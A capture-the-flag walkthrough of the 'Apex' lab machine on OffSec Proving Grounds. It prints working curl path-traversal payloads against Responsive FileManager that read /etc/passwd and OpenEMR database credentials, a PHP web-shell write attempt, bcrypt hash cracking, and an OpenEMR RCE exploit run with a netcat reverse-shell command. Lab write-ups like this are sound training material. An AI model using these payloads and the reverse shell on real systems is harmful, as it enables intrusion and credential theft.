Skip to main content

Apex

This is my write ups for APEX on Off-Sec Proving Ground.

This room is a CTF type of room

I will try to go deep into the technical thing we do in this room.


1. Enum

  • Start the machine and get the IP

Getting the IP

  • Export the IP to the terminal so we can use it easier
export IP=192.168.73.145;clear

## Test to see if the IP is correct
echo $IP
  • Lets start off with some nmap and rustscan
Port Scans
nmap -sC -sV $IP
nmap -p- -sV $IP --open
rustscan -a $IP
It is a good idea to save output of nmap and rustcan so we can always exam it in later time. To do so you can run these commands instead
nmap -sC -sV $IP -oA {file_name}
nmap -p- -sV $IP --open -oA {file_name}
rustscan -a $IP -- -oA {file_name}
  • Here is the result of my port scans
nmap -sC -sV $IP
---
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: APEX Hospital
|_http-server-header: Apache/2.4.29 (Ubuntu)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
| Thread ID: 35
| Capabilities flags: 63487
| Some Capabilities: InteractiveClient, LongColumnFlag, SupportsCompression, Support41Auth, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, SupportsTransactions, ConnectWithDatabase, Speaks41ProtocolOld, ODBCClient, Speaks41ProtocolNew, LongPassword, FoundRows, SupportsLoadDataLocal, IgnoreSigpipes, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: d;7B%1d)=9B#'7~:Bzc_
|_ Auth Plugin Name: mysql_native_password
Service Info: Host: APEX

Host script results:
|_clock-skew: mean: 1h39m55s, deviation: 2h53m13s, median: -5s
| smb2-time:
| date: 2022-02-17T04:39:20
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: apex
| NetBIOS computer name: APEX\x00
| Domain name: \x00
| FQDN: apex
|_ System time: 2022-02-16T23:39:21-05:00
rustscan -a $IP
---
PORT STATE SERVICE REASON
80/tcp open http syn-ack
445/tcp open microsoft-ds syn-ack
3306/tcp open mysql syn-ack
  • Notice that the target has smb running on port 445, we can quickly check it out first before mysql or the website running on port 80
SMB Enum
smbclient -L=$IP -N

Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
docs Disk Documents
IPC$ IPC IPC Service (APEX server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.73.145 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
---
smbclient //$IP/docs -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Apr 9 22:47:12 2021
.. D 0 Fri Apr 9 22:47:12 2021
OpenEMR Success Stories.pdf A 290738 Fri Apr 9 22:47:12 2021
OpenEMR Features.pdf A 490355 Fri Apr 9 22:47:12 2021

16446332 blocks of size 1024. 10843812 blocks available
smb: \> get "OpenEMR Success Stories.pdf"
getting file \OpenEMR Success Stories.pdf of size 290738 as OpenEMR Success Stories.pdf (104.9 KiloBytes/sec) (average 104.9 KiloBytes/sec)
smb: \> get "OpenEMR Features.pdf"
getting file \OpenEMR Features.pdf of size 490355 as OpenEMR Features.pdf (141.8 KiloBytes/sec) (average 125.4 KiloBytes/sec)
  • Not much to gain from these 2 documents. Lets move on to the web page

  • Go over to http://192.168.73.145/ and we see this landing page

Main Landing Page

  • Lets run gobuster to see what directory this website has
gobuster dir -u http://192.168.73.145/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
  • After a short time we can see some result comming up
Gobuster result
gobuster dir -u http://192.168.73.145/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
---
/.php (Status: 403) [Size: 279]
/.html (Status: 403) [Size: 279]
/.htm (Status: 403) [Size: 279]
/assets (Status: 301) [Size: 317] [--> http://192.168.73.145/assets/]
/. (Status: 200) [Size: 28957]
/source (Status: 301) [Size: 317] [--> http://192.168.73.145/source/]
/.htaccess (Status: 403) [Size: 279]
/thumbs (Status: 301) [Size: 317] [--> http://192.168.73.145/thumbs/]
/.phtml (Status: 403) [Size: 279]
/.htc (Status: 403) [Size: 279]
/filemanager (Status: 301) [Size: 322] [--> http://192.168.73.145/filemanager/]
  • If we go over to either http://192.168.73.145/filemanager/ or http://192.168.73.145/source/Documents/ we can see the two files we downloaded from smb earlier

source/Documents

filemanager

  • This is very interesting. If we have upload permission smb maybe we can upload a php-reverse-shell to smb and the file will be display on the website for us to trigger it and make a callback to us ? Lets file out, time to get a Foothold of this machine

2. Foothold

  • Get ourself a php-reverse-shell.php
## Find the php reverse shell
locate php-reverse-shell.php
---
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php

===

## Copy it to our current working directory
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
note

Remember to edit the shell.php content to match your $IP and $PORT


$ip = 'YOUR_IP';  // CHANGE THIS
$port = YOUR_PORT; // CHANGE THIS
  • Now lets see if we can upload this to the smb
smbclient //$IP/docs -N
Try "help" to get a list of possible commands.
smb: \> put shell.php
NT_STATUS_ACCESS_DENIED opening remote file \shell.php
  • Dang it! We can't upload to smb there gotta be another way. Maybe we can upload it with http://192.168.73.145/filemanager/ ?

  • If we look at the title of the web page at http://192.168.73.145/filemanager/ we will see that this is responsive filemanager. Lets search for responsive filemanager on exploitdb

searchsploit responsive filemanager
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
Responsive Filemanager 9.13.1 - Server-Side Request Forgery | linux/webapps/45103.txt
Responsive FileManager 9.13.4 - 'path' Path Traversal | php/webapps/49359.py
Responsive FileManager 9.13.4 - Multiple Vulnerabilities | php/webapps/45987.txt
Responsive FileManager < 9.13.4 - Directory Traversal | php/webapps/45271.txt
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
  • From php/webapps/45987.txt we can try to confirm if we are able to perfrom Arbitrary file read
Read /etc/passwd
curl -X POST -d "path=../../../../../../../etc/passwd" -H "Cookie: PHPSESSID=1sqht83j5bhogmu93vcc42hhba" "http://$IP/filemanager/ajax_calls.php?action=get_file&sub_action=edit&preview_mode=text"
---
<textarea id="textfile_edit_area" style="width:100%;height:300px;">root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
mysql:x:111:115:MySQL Server,,,:/nonexistent:/bin/false
white:x:1000:1000::/home/white:/bin/sh
</textarea>
  • Ok so we confirm that we can perform Arbitrary file read so let see if we can perform Arbitrary file write via path traversal
Create a web shell
curl -X POST -d "paths[0]=../../../../../../../../var/www/html/&names[0]=cmd.php.txt&new_content=<?php system(\$_GET['cmd']);?>" -H "Cookie: PHPSESSID=1sqht83j5bhogmu93vcc42hhba" "http://$IP/filemanager/execute.php?action=create_file"
---
File extension is not allowed. Valid extensions: txt, log, xml, html, css, htm, js,
  • Ok, so look like this is a dead end too.

  • Come to think about this, since we have document about openemr maybe this machine is running them. Try to see if there is a directory openemr

curl http://$IP/openemr
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://192.168.73.145/openemr/">here</a>.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 192.168.73.145 Port 80</address>
</body></html>
  • Look like it does exist, lets see the landing page for openemr

OpenEMR Landing Page

  • Since we can read file with responsive filemanager maybe if we know where openemr store the credentials we can read it. We can go over to OpenEMR Github repo to find it.
SPOILER ALERT

The database creds are stored in /sites/default/sqlconf.php

Read the database
curl -X POST -d "sub_action=copy&path=../../../../../../../var/www/openemr/sites/default/sqlconf.php" -H "Cookie: PHPSESSID=1sqht83j5bhogmu93vcc42hhba" "http://$IP/filemanager/ajax_calls.php?action=copy_cut"
---
curl -X POST -d "path=Documents/" -H "Cookie: PHPSESSID=1sqht83j5bhogmu93vcc42hhba" "http://$IP/filemanager/execute.php?action=paste_clipboard"
  • If we checked back on http://192.168.73.145/source/Documents/ we will see the file sqlconf.php is exist for us.

sqlconf.php exist

  • Download the file sqlconf.php and read it
cat sqlconf.php 
<?php
// OpenEMR
// MySQL Config

$host = 'localhost';
$port = '3306';
$login = 'openemr';
$pass = 'C78maEQUIEuQ';
$dbase = 'openemr';

//Added ability to disable
//utf8 encoding - bm 05-2009
global $disable_utf8_flag;
$disable_utf8_flag = false;

$sqlconf = array();
global $sqlconf;
$sqlconf["host"]= $host;
$sqlconf["port"] = $port;
$sqlconf["login"] = $login;
$sqlconf["pass"] = $pass;
$sqlconf["dbase"] = $dbase;
//////////////////////////
//////////////////////////
//////////////////////////
//////DO NOT TOUCH THIS///
$config = 1; /////////////
//////////////////////////
//////////////////////////
//////////////////////////
?>
  • This is the cred for mysql, we can login to the target machine mysql
mysql -u openemr -h $IP -pC78maEQUIEuQ
---
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| openemr |
+--------------------+
---
use openemr;
show tables;
+---------------------------------------+
| Tables_in_openemr |
+---------------------------------------+
| ... |
| user_settings |
| users |
| users_facility |
| users_secure |
| ... |
+---------------------------------------+
---
select * from users_secure;
+----+----------+--------------------------------------------------------------+--------------------------------+---------------------+-------------------+---------------+-------------------+---------------+
| id | username | password | salt | last_update | password_history1 | salt_history1 | password_history2 | salt_history2 |
+----+----------+--------------------------------------------------------------+--------------------------------+---------------------+-------------------+---------------+-------------------+---------------+
| 1 | admin | $2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC | $2a$05$bJcIfCBjN5Fuh0K9qfoe0n$ | 2021-05-17 10:56:27 | NULL | NULL | NULL | NULL |
+----+----------+--------------------------------------------------------------+--------------------------------+---------------------+-------------------+---------------+-------------------+---------------+
1 row in set (0.303 sec)
  • We can use john to crack this hash
echo '$2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC' > hash.txt
---
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt > pass.txt
---
cat pass.txt
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
thedoctor
  • Now we can login to the target with the cred as admin:thedoctor and from the about section we can see the version of openemr

OpenEMR Version

  • Look for any potential exploit on exploitdb
searchsploit openemr 5.0.1
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
OpenEMR 5.0.1 - 'controller' Remote Code Execution | php/webapps/48623.txt
OpenEMR 5.0.1 - Remote Code Execution (1) | php/webapps/48515.py
OpenEMR 5.0.1 - Remote Code Execution (Authenticated) (2) | php/webapps/49486.rb
OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) | php/webapps/49998.py
OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2) | php/webapps/50122.rb
OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions | linux/webapps/45202.txt
OpenEMR 5.0.1.3 - Authentication Bypass | php/webapps/50017.py
OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated) | php/webapps/45161.py
OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) | php/webapps/50037.py
OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) (2) | php/webapps/50087.rb
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
  • There are plenty of rce we can try, i find that this php/webapps/45161.py work for me
searchsploit -m php/webapps/45161.py
---
python2 45161.py -u admin -p thedoctor -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.49.73 8888 >/tmp/f" http://$IP/openemr/
  • Now that we have a shell on the target, lets move on Privilege Escalation

3. PrivEsc

  • We can upgrade our shell with python(3)
Shell upgrade
/usr/bin/python -c 'import pty;pty.spawn("/bin/bash")';
export TERM=xterm
---
/usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")';
export TERM=xterm
  • The first thing we should try is to see if root user reuse the password for admin account on openemr
www-data@APEX:/var/www/openemr/interface/main$ su root
su root
Password: thedoctor

root@APEX:/var/www/openemr/interface/main#
  • Lucky for us, they does reuse the password

  • Get all the flags

cat /home/white/local.txt
fac57fa2a45840b05f2247f1a459874c
---
cat /root/proof.txt
6634d95eb80ba8ffb9ce58e14f198027